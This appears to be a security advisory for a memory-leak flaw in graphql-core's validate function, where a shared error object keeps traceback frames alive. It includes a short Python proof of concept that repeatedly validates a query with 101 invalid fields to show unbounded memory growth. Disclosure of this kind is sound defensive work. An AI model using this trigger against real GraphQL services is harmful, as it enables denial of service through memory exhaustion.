Missing Release of Memory after Effective Lifetime Affecting graphql-core package, versions [3.3.0a3,3.3.1)

graphql-core is a GraphQL implementation for Python, a port of GraphQL.js, the JavaScript reference implementation for GraphQL.

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime via the validate function in src/graphql/validation/validate.py, which raises a single shared ValidationAbortedError instance when the validation error limit is reached. Because Python attaches traceback frames to the raised exception object, every aborted validation call appends its stack frames to the same shared error's traceback, keeping all those frames alive for the lifetime of the process. An attacker can trigger repeated validation of documents with many invalid fields to cause unbounded memory growth.

import gc
import tracemalloc
from graphql import build_schema, parse, validate

schema = build_schema("type Query { a: Int }")
document = parse("{ " + " ".join(f"f{i}" for i in range(101)) + " }")

tracemalloc.start()
validate(schema, document)
gc.collect()
base = tracemalloc.get_traced_memory()[0]
for _ in range(200):
    validate(schema, document)
gc.collect()
print((tracemalloc.get_traced_memory()[0] - base) // 1024, "KiB")

With GraphQL-core 3.3.0 on CPython 3.12, the retained memory grows from 147 KiB after one call to about 25 MB after 200 calls. With the fix, it stays constant at about 180 KiB.

Note: The PoC states it was run with GraphQL-core 3.3.0 on CPython 3.12.

• GitHub Advisory
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub Release